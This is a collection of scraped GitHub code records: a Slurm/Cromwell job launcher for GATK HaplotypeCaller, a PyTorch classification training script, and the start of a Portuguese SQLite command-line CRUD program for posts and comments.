{"seq_id": "38089976876", "text": "from time import sleep\nimport argparse\nimport os\nimport re\nimport ntpath\nimport glob\nimport sys\nimport fileinput\nfrom shutil import copyfile\nimport json\n\n\ndef parse_args():\n    \"\"\"Uses argparse to enable user to customize script functionality\"\"\"\n    parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n    parser.add_argument('-in_dir', '--input_directory', help='path to directory containing input files')\n    parser.add_argument('-in_file', '--input_file_path', help='path to input file')\n    parser.add_argument('-out', '--output_directory', default='./', help='directory to which the output directory \"/.HaplotypeCaller/\" will be written to')\n    parser.add_argument('-n', '--num_cores', default='1', help='slurm job submission option')\n    parser.add_argument('-cn', default=\"1\", help='number of cores for Cromwell jobs')\n    parser.add_argument('-t', '--runtime', default='2-00:00:00', help='slurm job submission option')\n    parser.add_argument('-ct', default=\"3000\", help='cromwell run time; please specify as number of minutes')\n    parser.add_argument('-p', '--queue', default='long', help='slurm job submission option')\n    parser.add_argument('--mem_per_cpu', default='15G', help='slurm job submission option')\n    parser.add_argument('-cm', default='5000', help='cromwell cpu memory per core')\n    parser.add_argument('--mail_type', default='FAIL', help='slurm job submission option')\n    parser.add_argument('--mail_user', default='victor_mao@hms.harvard.edu', help='slurm job submission option')\n    parser.add_argument('-cromwell', '--cromwell_path', default='/n/shared_db/singularity/hmsrc-gatk/cromwell-43.jar', help='path to cromwell.jar file')\n    parser.add_argument('-r', default='/home/mk446/BiO/Install/GATK-bundle/2.8/b37/human_g1k_v37_decoy.fasta')\n    parser.add_argument('-gatk', default='/home/mk446/BiO/Install/GATK4.1.2.0//gatk', help='path to software')\n    parser.add_argument('-reference_name', default='b37', help='hg19, b37, etc.')\n    parser.add_argument('-picard', default='/home/mk446/BiO/Install/picard-tools-2.5.0/picard.jar')\n    parser.add_argument('-intervals', default='/n/data1/hms/dbmi/park/victor/references/Homo_sapiens_assembly19/interval_list.txt')\n\n    return parser.parse_args()\n\ndef main():\n    args = parse_args()\n    clean_arg_paths(args)\n\n    dirname = os.path.dirname(os.path.abspath(__file__))\n    overrides = os.path.join(dirname, 'Overrides.config')\n    wdl = os.path.join(dirname, 'Germline_workflow.wdl')\n    json = os.path.join(dirname, 'Germline_workflow.json') \n\n    input_files = return_input_files(args, 'bam') if args.input_directory is not None else [args.input_file_path]\n    input_files = sort_by_size(input_files)\n    \n    for input_file in input_files:\n        if not os.path.isfile(input_file): continue\n        sample = os.path.basename(input_file).split('.')[0]\n        sample_dir = os.path.join(args.output_directory,'.HaplotypeCaller/' + sample + '/')\n        os.makedirs(sample_dir, exist_ok=True)\n\n        input_json, input_config, input_wdl = generate_cromwell_inputs(args, input_file, json, wdl, overrides)\n        slurm_command = return_slurm_command(args)\n        output_file_name = gen_output_file_name(args, input_file)\n        primary_command = return_primary_command(args, output_file_name, input_file, input_json, input_config, input_wdl)\n\n        sh_file_name = gen_sh_file_name(args, output_file_name)\n        write_out(args, slurm_command, primary_command, sh_file_name)\n\n        sample_name = ntpath.basename(sh_file_name).split('.')[0] + '.vcf'\n        sample_dir = os.path.join(ntpath.basename(sh_file_name).split('.')[0], sample_name)  \n        path_to_vcf = os.path.join(ntpath.dirname(ntpath.dirname(ntpath.dirname(sh_file_name))), sample_dir)\n        #print(path_to_vcf)\n        if not os.path.isfile(path_to_vcf):\n            submit_job(sh_file_name)\n\n\ndef clean_arg_paths(args):\n    \"\"\"Modifies all user-inputted directory paths such that they end with a '/'\"\"\"\n    d = vars(args)\n    for arg in d.keys():\n        if 'input_directory' in arg and d[arg]=='./': d[arg] = os.getcwd()\n        if 'output_directory' in arg and d[arg]=='./': d[arg] = os.getcwd()    \n        if 'directory' in arg and d[arg] is not None and d[arg][-1] != '/': d[arg] += '/'\n\n    output_dir = re.sub(\" \", \"\", d[\"output_directory\"])\n    if output_dir[len(output_dir) - 1] is not \"/\":\n        d[\"output_directory\"] = output_dir + \"/\"\n\ndef return_input_files(args, ext):\n    input_bams = [os.path.realpath(file) for file in glob.glob(args.input_directory + '*.' + ext)]\n    return input_bams\n\ndef sort_by_size(input_files):\n    for i in range(len(input_files)):\n        input_files[i] = (input_files[i], os.path.getsize(input_files[i]))\n    input_files.sort(key=lambda filename: filename[1])\n    for i in range(len(input_files)):\n        input_files[i] = input_files[i][0]\n    return input_files\n\ndef generate_cromwell_inputs(args, input_file, json_file, wdl, overrides):\n    dir = args.output_directory + '.HaplotypeCaller/' + '.' + os.path.basename(input_file).split('.')[0] + '/'\n    os.makedirs(dir, exist_ok=True)\n\n    bam_dir = os.path.dirname(input_file)\n    bam_sample = os.path.basename(input_file)\n\n    bai_suffix = '.bai'\n    path = os.path.join(bam_dir, re.sub('.bam', '.bam.bai', bam_sample))\n    if not (os.path.isfile(path) and os.access(path, os.R_OK)):\n        path = os.path.join(bam_dir, re.sub('.bam', '.bai', bam_sample))\n    \n    copyfile(json_file, dir + 'Input.json')\n\n    dict_path = os.path.dirname(args.r)\n    ref = os.path.basename(args.r).split('.fa')[0]\n    \n    with open(dir + 'Input.json') as f:\n        data = f.read()\n        d = json.loads(data)\n        d[\"HaplotypeCallerGvcf_GATK4.input_bam\"] = input_file\n        d[\"HaplotypeCallerGvcf_GATK4.input_bam_index\"] = path\n        d[\"HaplotypeCallerGvcf_GATK4.output_directory\"] = os.path.join(args.output_directory,'.HaplotypeCaller/' + bam_sample.split('.')[0] + '/')\n        d[\"HaplotypeCallerGvcf_GATK4.ref_dict\"] = os.path.join(dict_path, ref + '.dict')\n        d[\"HaplotypeCallerGvcf_GATK4.ref_fasta\"] = args.r\n        d[\"HaplotypeCallerGvcf_GATK4.ref_fasta_index\"] = args.r + '.fai'\n        d[\"HaplotypeCallerGvcf_GATK4.gatk_path\"] = args.gatk\n        d[\"HaplotypeCallerGvcf_GATK4.picard_path\"] = args.picard\n        d[\"HaplotypeCallerGvcf_GATK4.bam_directory\"] = os.path.dirname(input_file)\n        d[\"HaplotypeCallerGvcf_GATK4.scattered_calling_intervals_list\"] = args.intervals\n        \n        if args.reference_name.lower() is not \"b37\":\n            d[\"HaplotypeCallerGvcf_GATK4.reference\"] = args.reference_name\n\n   \n    with open(dir + 'Input.json', 'w') as f:\n        f.write(json.dumps(d))\n\n    copyfile(overrides, dir + 'Overrides.config')\n\n    with fileinput.FileInput(dir + 'Overrides.config', inplace=True) as file:\n        for line in file:\n            print(line.replace(\n            \"medium\", args.queue).replace(\"!@#$\", args.ct).replace(\"%^&*\", args.cm).replace(\"Int cpus = 1\", \"Int cpus = \" + args.cn), end='')\n        \n\n    if args.queue == 'park' or args.queue == 'priopark': \n        f = open(dir + 'Overrides.config', \"r\")\n        contents = f.readlines()\n        f.close()\n\n        contents.insert(95, \"            --account=${account_name} \\\\\\n\")\n\n        f = open(dir + 'Overrides.config', \"w\")\n        contents = \"\".join(contents)\n        f.write(contents)\n        f.close()\n\n    copyfile(wdl, os.path.join(dir, 'workflow.wdl'))\n\n    return os.path.join(dir,'Input.json'), os.path.join(dir, 'Overrides.config'), os.path.join(dir, 'workflow.wdl')\n\ndef return_slurm_command(args):\n    \"\"\"Returns slurm command given args provided\"\"\"\n    slurm_command = '#!/bin/bash\\n' + \\\n                '#SBATCH -n ' + args.num_cores + '\\n' + \\\n                '#SBATCH -t ' + args.runtime + '\\n' + \\\n                '#SBATCH -p ' + args.queue + '\\n' + \\\n                '#SBATCH --mem-per-cpu=' + args.mem_per_cpu + '\\n' + \\\n                '#SBATCH --mail-type=' + args.mail_type + '\\n' + \\\n                '#SBATCH --mail-user=' + args.mail_user + '\\n' + \\\n        '#SBATCH --exclude=compute-p-17-[34-46]' + '\\n'\n    if args.queue in ['park', 'priopark']:\n        slurm_command += '#SBATCH --account=park_contrib' + '\\n'\n    slurm_command += 'module load gcc/6.2.0 java/jdk-1.8u112 bcftools/1.9' + '\\n'\n    return slurm_command\n\ndef gen_output_file_name(args, input_file):\n    sample = os.path.basename(input_file).split('.')[0]\n    output_file_name = args.output_directory + '.HaplotypeCaller/' + '.' + sample + '/' + sample\n    return output_file_name\n\ndef return_primary_command(args, output_file_name, input_file, input_json, input_config, input_wdl):\n    primary_command = 'java -Dconfig.file=' + input_config + ' -jar ' + args.cromwell_path + ' run ' + input_wdl + ' -i ' + input_json\n    return primary_command\n\ndef gen_sh_file_name(args, output_file_name):\n    \"\"\"Generates sh file name\"\"\"\n    sh_file_name = os.path.dirname(output_file_name) + '/.sh/' + os.path.basename(output_file_name) + '.sh'\n    return sh_file_name\n\ndef write_out(args, slurm_command, primary_command, sh_file_name):\n    \"\"\"\"\"\"\n    os.makedirs(os.path.dirname(sh_file_name), exist_ok=True)\n    with open(sh_file_name, 'w') as file:\n        file.write(slurm_command + primary_command)\n\ndef submit_job(sh_file_name):\n    os.chdir(os.path.dirname(sh_file_name))\n    os.system('chmod +x ' + os.path.basename(sh_file_name))\n    os.system('sbatch ./' + os.path.basename(sh_file_name))\n\n        \nif __name__ == \"__main__\":\n    main()\n", "repo_name": "vymao/SNVCurate", "sub_path": "calling/HaplotypeCaller.py", "file_name": "HaplotypeCaller.py", "file_ext": "py", "file_size_in_byte": 9523, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "71", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 15, "usage_type": "call"}, {"api_name": "argparse.ArgumentDefaultsHelpFormatter", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path", "line_number": 41, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 42, "usage_type": "call"}, {"api_name": "os.path", "line_number": 42, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path", "line_number": 43, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path", "line_number": 44, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path", "line_number": 50, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path", "line_number": 51, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path", "line_number": 52, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 53, "usage_type": "call"}, {"api_name": "ntpath.basename", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 64, "usage_type": "call"}, {"api_name": "os.path", "line_number": 64, "usage_type": "attribute"}, {"api_name": "ntpath.basename", "line_number": 64, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path", "line_number": 65, "usage_type": "attribute"}, {"api_name": "ntpath.dirname", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 67, "usage_type": "call"}, {"api_name": "os.path", "line_number": 67, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 75, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 76, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 79, "usage_type": "call"}, {"api_name": "os.path.realpath", "line_number": 84, "usage_type": "call"}, {"api_name": "os.path", "line_number": 84, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 84, "usage_type": "call"}, {"api_name": "os.path.getsize", "line_number": 89, "usage_type": "call"}, {"api_name": "os.path", "line_number": 89, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 96, "usage_type": "call"}, {"api_name": "os.path", "line_number": 96, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 97, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 99, "usage_type": "call"}, {"api_name": "os.path", "line_number": 99, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 100, "usage_type": "call"}, {"api_name": "os.path", "line_number": 100, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 103, "usage_type": "call"}, {"api_name": "os.path", "line_number": 103, "usage_type": "attribute"}, {"api_name": "re.sub", "line_number": 103, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 104, "usage_type": "call"}, {"api_name": "os.path", "line_number": 104, "usage_type": "attribute"}, {"api_name": "os.access", "line_number": 104, "usage_type": "call"}, {"api_name": "os.R_OK", "line_number": 104, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 105, "usage_type": "call"}, {"api_name": "os.path", "line_number": 105, "usage_type": "attribute"}, {"api_name": "re.sub", "line_number": 105, "usage_type": "call"}, {"api_name": "shutil.copyfile", "line_number": 107, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 109, "usage_type": "call"}, {"api_name": "os.path", "line_number": 109, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 110, "usage_type": "call"}, {"api_name": "os.path", "line_number": 110, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 114, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 117, "usage_type": "call"}, {"api_name": "os.path", "line_number": 117, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 118, "usage_type": "call"}, {"api_name": "os.path", "line_number": 118, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 123, "usage_type": "call"}, {"api_name": "os.path", "line_number": 123, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 131, "usage_type": "call"}, {"api_name": "shutil.copyfile", "line_number": 133, "usage_type": "call"}, {"api_name": "fileinput.FileInput", "line_number": 135, "usage_type": "call"}, {"api_name": "shutil.copyfile", "line_number": 153, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 153, "usage_type": "call"}, {"api_name": "os.path", "line_number": 153, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 155, "usage_type": "call"}, {"api_name": "os.path", "line_number": 155, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 173, "usage_type": "call"}, {"api_name": "os.path", "line_number": 173, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 183, "usage_type": "call"}, {"api_name": "os.path", "line_number": 183, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 183, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 188, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 188, "usage_type": "call"}, {"api_name": "os.path", "line_number": 188, "usage_type": "attribute"}, {"api_name": "os.chdir", "line_number": 193, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 193, "usage_type": "call"}, {"api_name": "os.path", "line_number": 193, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 194, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 194, "usage_type": "call"}, {"api_name": "os.path", "line_number": 194, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 195, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 195, "usage_type": "call"}, {"api_name": "os.path", "line_number": 195, "usage_type": "attribute"}]}
{"seq_id": "31126451980", "text": "import os\r\nimport sys\r\n# from typing import Sequence\r\nsys.path.insert(0,os.getcwd())\r\nimport copy\r\nimport argparse\r\nimport shutil\r\nimport time\r\nimport numpy as np\r\nimport random\r\n\r\nimport torch\r\n# import torch.backends.cudnn as cudnn\r\nimport torch.optim as optim\r\nfrom torch.utils.data import DataLoader\r\nfrom torch.nn.parallel import DataParallel\r\n\r\nfrom utils.history import History\r\nfrom utils.dataloader import Mydataset, collate\r\nfrom utils.train_utils import train, validation, print_info, file2dict, init_random_seed, set_random_seed, resume_model\r\nfrom utils.inference import init_model\r\nfrom core.optimizers import *\r\nfrom models.build import BuildNet\r\n\r\ndef parse_args():\r\n    parser = argparse.ArgumentParser(description='Train a model')\r\n    parser.add_argument('config', help='train config file path')\r\n    parser.add_argument('--resume-from', help='the checkpoint file to resume from')\r\n    parser.add_argument('--seed', type=int, default=None, help='random seed')\r\n    parser.add_argument('--device', help='device used for training. (Deprecated)')\r\n    parser.add_argument(\r\n        '--gpu-id',\r\n        type=int,\r\n        default=0,\r\n        help='id of gpu to use '\r\n        '(only applicable to non-distributed training)')\r\n    parser.add_argument(\r\n        '--split-validation',\r\n        action='store_true',\r\n        help='whether to split validation set from training set.')\r\n    parser.add_argument(\r\n        '--ratio',\r\n        type=float,\r\n        default=0.2,\r\n        help='the proportion of the validation set to the training set.')\r\n    parser.add_argument(\r\n        '--deterministic',\r\n        action='store_true',\r\n        help='whether to set deterministic options for CUDNN backend.')\r\n    parser.add_argument('--local-rank', type=int, default=0)\r\n    args = parser.parse_args()\r\n    if 'LOCAL_RANK' not in os.environ:\r\n        os.environ['LOCAL_RANK'] = str(args.local_rank)\r\n    return args\r\n\r\ndef main():\r\n    # 读取配置文件获取关键字段\r\n    args = parse_args()\r\n    model_cfg,train_pipeline,val_pipeline,data_cfg,lr_config,optimizer_cfg = file2dict(args.config)\r\n    print_info(model_cfg)\r\n\r\n    # 初始化\r\n    meta = dict()\r\n    dirname = time.strftime(\"%Y-%m-%d-%H-%M-%S\", time.localtime())\r\n    save_dir = os.path.join('logs',model_cfg.get('backbone').get('type'),dirname)\r\n    meta['save_dir'] = save_dir\r\n    \r\n    # 设置随机数种子\r\n    seed = init_random_seed(args.seed)\r\n    set_random_seed(seed, deterministic=args.deterministic)\r\n    meta['seed'] = seed\r\n    \r\n    # 读取训练&制作验证标签数据\r\n    total_annotations   = \"datas/train.txt\"\r\n    with open(total_annotations, encoding='utf-8') as f:\r\n        total_datas = f.readlines()\r\n    if args.split_validation:\r\n        total_nums = len(total_datas)\r\n        # indices = list(range(total_nums))\r\n        if isinstance(seed, int):\r\n            rng = np.random.default_rng(seed)\r\n            rng.shuffle(total_datas)\r\n        val_nums = int(total_nums * args.ratio)\r\n        folds = list(range(int(1.0 / args.ratio)))\r\n        fold = random.choice(folds)\r\n        val_start = val_nums * fold\r\n        val_end = val_nums * (fold + 1)\r\n        train_datas = total_datas[:val_start] + total_datas[val_end:]\r\n        val_datas = total_datas[val_start:val_end]\r\n    else:\r\n        train_datas = total_datas.copy()\r\n        test_annotations    = 'datas/test.txt'\r\n        with open(test_annotations, encoding='utf-8') as f:\r\n            val_datas   = f.readlines()\r\n    \r\n    # 初始化模型,详见https://www.bilibili.com/video/BV12a411772h\r\n    if args.device is not None:\r\n        device = torch.device(args.device)\r\n    else:\r\n        device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\r\n    print('Initialize the weights.')\r\n    model = BuildNet(model_cfg)\r\n    if not data_cfg.get('train').get('pretrained_flag'):\r\n        model.init_weights()\r\n    if data_cfg.get('train').get('freeze_flag') and data_cfg.get('train').get('freeze_layers'):\r\n        freeze_layers = ' '.join(list(data_cfg.get('train').get('freeze_layers')))\r\n        print('Freeze layers : ' + freeze_layers)\r\n        model.freeze_layers(data_cfg.get('train').get('freeze_layers'))\r\n    \r\n    if device != torch.device('cpu'):\r\n        model = DataParallel(model,device_ids=[args.gpu_id])\r\n    \r\n    # 初始化优化器\r\n    optimizer = eval('optim.' + optimizer_cfg.pop('type'))(params=model.parameters(),**optimizer_cfg)\r\n    \r\n    # 初始化学习率更新策略\r\n    lr_update_func = eval(lr_config.pop('type'))(**lr_config)\r\n    \r\n    # 制作数据集->数据增强&预处理,详见https://www.bilibili.com/video/BV1zY4y167Ju\r\n    train_dataset = Mydataset(train_datas, train_pipeline)\r\n    val_pipeline = copy.deepcopy(train_pipeline)\r\n    val_dataset = Mydataset(val_datas, val_pipeline)\r\n    train_loader = DataLoader(train_dataset, shuffle=True, batch_size=data_cfg.get('batch_size'), num_workers=data_cfg.get('num_workers'),pin_memory=True, drop_last=True, collate_fn=collate)\r\n    val_loader = DataLoader(val_dataset, shuffle=False, batch_size=data_cfg.get('batch_size'), num_workers=data_cfg.get('num_workers'), pin_memory=True,\r\n    drop_last=True, collate_fn=collate)\r\n    \r\n    # 将关键字段存储，方便训练时同步调用&更新\r\n    runner = dict(\r\n        optimizer         = optimizer,\r\n        train_loader      = train_loader,\r\n        val_loader        = val_loader,\r\n        iter              = 0,\r\n        epoch             = 0,\r\n        max_epochs       = data_cfg.get('train').get('epoches'),\r\n        max_iters         = data_cfg.get('train').get('epoches')*len(train_loader),\r\n        best_train_loss   = float('INF'),\r\n        best_val_acc     = float(0),\r\n        best_train_weight = '',\r\n        best_val_weight   = '',\r\n        last_weight       = ''\r\n    )\r\n    meta['train_info'] = dict(train_loss = [],\r\n                              val_loss = [],\r\n                              train_acc = [],\r\n                              val_acc = [])\r\n    \r\n    # 是否从中断处恢复训练\r\n    if args.resume_from:\r\n        model,runner,meta = resume_model(model,runner,args.resume_from,meta)\r\n    else:\r\n        os.makedirs(save_dir)\r\n        shutil.copyfile(args.config,os.path.join(save_dir,os.path.split(args.config)[1]))\r\n        model = init_model(model, data_cfg, device=device, mode='train')\r\n        \r\n    # 初始化保存训练信息类\r\n    train_history =History(meta['save_dir'])\r\n    \r\n    # 记录初始学习率，详见https://www.bilibili.com/video/BV1WT4y1q7qN\r\n    lr_update_func.before_run(runner)\r\n    \r\n    # 训练\r\n    for epoch in range(runner.get('epoch'),runner.get('max_epochs')):\r\n        lr_update_func.before_train_epoch(runner)\r\n        train(model,runner, lr_update_func, device, epoch, data_cfg.get('train').get('epoches'), meta)\r\n        validation(model,runner, data_cfg.get('test'), device, epoch, data_cfg.get('train').get('epoches'), meta)\r\n        \r\n        train_history.after_epoch(meta)\r\n\r\nif __name__ == \"__main__\":\r\n    main()\r\n", "repo_name": "Fafa-DL/Awesome-Backbones", "sub_path": "tools/train.py", "file_name": "train.py", "file_ext": "py", "file_size_in_byte": 7034, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1057, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.path.insert", "line_number": 4, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 4, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 4, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 26, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 52, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 53, "usage_type": "attribute"}, {"api_name": "utils.train_utils.file2dict", "line_number": 59, "usage_type": "call"}, {"api_name": "utils.train_utils.print_info", "line_number": 60, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 64, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 64, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path", "line_number": 65, "usage_type": "attribute"}, {"api_name": "utils.train_utils.init_random_seed", "line_number": 69, "usage_type": "call"}, {"api_name": "utils.train_utils.set_random_seed", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.random.default_rng", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 81, "usage_type": "attribute"}, {"api_name": "random.choice", "line_number": 85, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 98, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 100, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 100, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 100, "usage_type": "attribute"}, {"api_name": "models.build.BuildNet", "line_number": 102, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 110, "usage_type": "call"}, {"api_name": "torch.nn.parallel.DataParallel", "line_number": 111, "usage_type": "call"}, {"api_name": "utils.dataloader.Mydataset", "line_number": 120, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 121, "usage_type": "call"}, {"api_name": "utils.dataloader.Mydataset", "line_number": 122, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 123, "usage_type": "call"}, {"api_name": "utils.dataloader.collate", "line_number": 123, "usage_type": "name"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 124, "usage_type": "call"}, {"api_name": "utils.dataloader.collate", "line_number": 125, "usage_type": "name"}, {"api_name": "utils.train_utils.resume_model", "line_number": 149, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 151, "usage_type": "call"}, {"api_name": "shutil.copyfile", "line_number": 152, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 152, "usage_type": "call"}, {"api_name": "os.path", "line_number": 152, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 152, "usage_type": "call"}, {"api_name": "utils.inference.init_model", "line_number": 153, "usage_type": "call"}, {"api_name": "utils.history.History", "line_number": 156, "usage_type": "call"}, {"api_name": "utils.train_utils.train", "line_number": 164, "usage_type": "call"}, {"api_name": "utils.train_utils.validation", "line_number": 165, "usage_type": "call"}]}
{"seq_id": "74981918310", "text": "import sqlite3\nfrom datetime import datetime\n\nconn = sqlite3.connect('crud.db')\ncursor = conn.cursor()\n\ndef main():\n        print (\"Qual tabela gostaria de acessar? \")\n        print (\"Para acessar postagens, escreva POST\" )\n        print (\"Para acessar comentarios, escreva COMMENT \")\n        table = input(\"-> \")\n\n        if table.lower() == \"post\" or table.lower() == \"comment\":\n                crud(table)\n        else:\n                print(\"Informe um nome válido.\")\n        \ndef crud(table):\n        x = input(\"Qual ação deseja realizar: Create(C), Read(R), Update(U) ou Delete(D)?\")\n        xLower = x.lower()\n        if table.lower() == \"post\":\n                if xLower == \"c\":\n                        c_post()\n                elif xLower == \"r\":\n                        r_post()\n                elif xLower == \"u\":\n                        u_post()\n                elif xLower == \"d\":\n                        d_post()\n                else:\n                        print(\"Insira uma ação válida!!\")\n        else:\n                if xLower == \"c\":\n                        c_comment()\n                elif xLower == \"r\":\n                        r_comment()\n                elif xLower == \"u\":\n                        u_comment()\n                elif xLower == \"d\":\n                        d_comment()\n                else:\n                        print(\"Insira uma ação válida!!\")\n\ndef c_post():\n        title = input(\"Qual o titulo da postagem? \")\n        created = datetime.now()\n        text = input(\"Qual vai ser o conteúdo? \")\n        cursor.execute(\"INSERT INTO post (Title, Created, Text) VALUES (?, ?, ?)\", (title, created, text))\n        conn.commit()\n        print(\"Sucesso :)\")\n\n\ndef c_comment():\n        postIdAdd = input(\"Insira o ID da postagem \")\n        textAdd = input(\"Qual será o comentário? \")\n        created = datetime.now() \n        userAdd = input(\"Qual é o nome do usuario? \")\n        cursor.execute(\"\"\"\n        SELECT PostID FROM post WHERE PostID == ?;\n        \"\"\", postIdAdd)\n        postId = cursor.fetchone()\n\n        if postId == None:\n                print(\"Algo deu errado :( \")\n        \n        else:\n                cursor.execute(\"INSERT INTO comment (PostID, Text, Created, User) VALUES (?, ?, ?, ?)\", (postId[0], textAdd, created, userAdd))\n\n                conn.commit()\n        \n                print(\"Sucesso :)\")\n\ndef r_post():\n        cursor.execute(\"\"\"\n        SELECT * FROM post;\n        \"\"\")\n\n        for line in cursor.fetchall():\n                print(line)\n\n\ndef r_comment():\n        cursor.execute(\"\"\"\n        SELECT * FROM comment;\n        \"\"\")\n\n        for line in cursor.fetchall():\n                print(line)\n\ndef u_post():\n        update = input(\"Qual é o ID da postagem que quer alterar? \")\n\n        cursor.execute(\"\"\"\n        SELECT PostID FROM post\n        WHERE PostID == ?\n        \"\"\", update)\n        checkPost = cursor.fetchone()\n\n        if checkPost == None:\n                print(\"Não foi possivel encontrar esse ID \")\n\n        else:\n                data = input(\"Informe o que deseja alterar (titulo, texto) \")\n                \n                if data.lower() == \"titulo\":\n                        newData = input(\"Insira o novo titulo \")\n\n                        cursor.execute(\"\"\"\n                        UPDATE post SET Title = ?\n                        WHERE PostID = ?\n                        \"\"\", (newData, update))\n\n                        conn.commit()\n\n                        print(\"Sucesso :) \")\n\n                elif data.lower() == \"texto\":\n                        newData = input(\"Insira qual é a edição: \")\n\n                        cursor.execute(\"\"\"\n                        UPDATE post SET Text = ?\n                        WHERE PostID\n                        \"\"\", (newData, update))\n\n                        conn.commit()\n\n                        print(\"Sucesso :) \")\n                \n                else:\n                        print(\"Invalido\")\n\n\ndef u_comment():\n        update = input(\"Qual é o ID do comentario que quer alterar? \")\n\n        cursor.execute(\"\"\"\n        SELECT CommentID FROM comment\n        WHERE CommentID == ?\n        \"\"\", update)\n        checkComment = cursor.fetchone()\n\n        if checkComment == None:\n                print(\"Não foi possivel encontrar esse ID \")\n\n        else:\n                data = input(\"Informe o que deseja alterar (Texto, usuario) \")\n                \n                if data.lower() == \"text\":\n                        newData = input(\"Insira o novo texto \")\n\n                        cursor.execute(\"\"\"\n                        UPDATE comment SET Text = ?\n                        WHERE CommentID = ?\n                        \"\"\", (newData, update))\n\n                        conn.commit()\n\n                        print(\"Sucesso :) \")\n\n                elif data.lower() == \"usuario\":\n                        newData = input(\"Insira qual é o usuario: \")\n\n                        cursor.execute(\"\"\"\n                        UPDATE comment SET User = ?\n                        WHERE CommentID = ?\n                        \"\"\", (newData, update))\n\n                        conn.commit()\n\n                        print(\"Sucesso :) \")\n                \n                else:\n                        print(\"Invalido\")\n\n\ndef d_post():\n        delete = input(\"Qual é o ID do post a ser excluido? \")\n\n        cursor.execute(\"\"\"\n        SELECT PostID from post\n        WHERE PostID == ?\n        \"\"\", delete)\n        checkPost = cursor.fetchone()\n\n        if checkPost == None:\n                print(\"ID invalido \")\n        else:\n                cursor.execute(\"\"\"\n                DELETE FROM post\n                WHERE PostID == ?\n                \"\"\", delete)\n\n                cursor.execute(\"\"\"\n                DELETE FROM comment\n                WHERE PostID == ?\n                \"\"\", delete)\n\n                conn.commit()\n\n                print(\"A postagem foi deletada com sucesso :)\")\n\ndef d_comment():\n        delete = input(\"Qual é o ID do comentario? \")\n\n        cursor.execute(\"\"\"\n        SELECT CommentID FROM comment\n        WHERE CommentID == ?\n        \"\"\", delete)\n        checkComment = cursor.fetchone()\n\n        if checkComment == None:\n                print(\"Não foi possivel encontrar esse comentario \")\n        